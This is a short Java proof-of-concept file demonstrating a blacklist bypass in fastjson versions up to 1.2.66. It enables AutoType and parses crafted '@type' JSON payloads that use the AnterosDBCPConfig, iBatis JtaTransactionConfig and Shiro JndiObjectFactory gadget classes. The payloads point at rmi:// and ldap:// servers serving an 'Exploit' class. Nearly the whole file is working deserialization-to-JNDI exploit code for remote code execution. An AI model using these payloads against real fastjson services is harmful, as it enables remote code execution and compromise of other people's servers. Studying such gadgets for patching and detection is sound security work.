package summer.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

/**
 * @ClassName: fastjson1266
 * @Description: TODO
 * @Author: Samny
 * @Date: 2020/4/24 15:54
 * @Version: v1.0.0
 * @Description: fastjson <= 1.2.66 黑名单绕过
 **/
public class fastjson1266 {
    public static void main(String[] args) {
        // fastjson >=1.2.25默认为false
        // fastjson >=1.2.66 开启AutoType才能成功
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

//        String payload="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\"," +
//                "\"metricRegistry\": \"rmi://127.0.0.1:1090/Exploit\"}";

//        String payload="{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"" +
//                ",\"properties\":{\"@type\":\"java.util.Properties\",\"UserTransaction\":" +
//                "\"rmi://127.0.0.1:1090/Exploit\"}}";

                // shiro环境太大了，没有导入只做学习使用
//        String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\"" +
//                ",\"resourceName\":\"ldap://127.0.0.1:1389/Exploit\"}\n";

        String payload = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" +
                "\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":" +
                "\"rmi://127.0.0.1:1090/Exploit\"}}\n";


        Object ob = JSON.parse(payload);
        System.out.println(ob);
    }
}
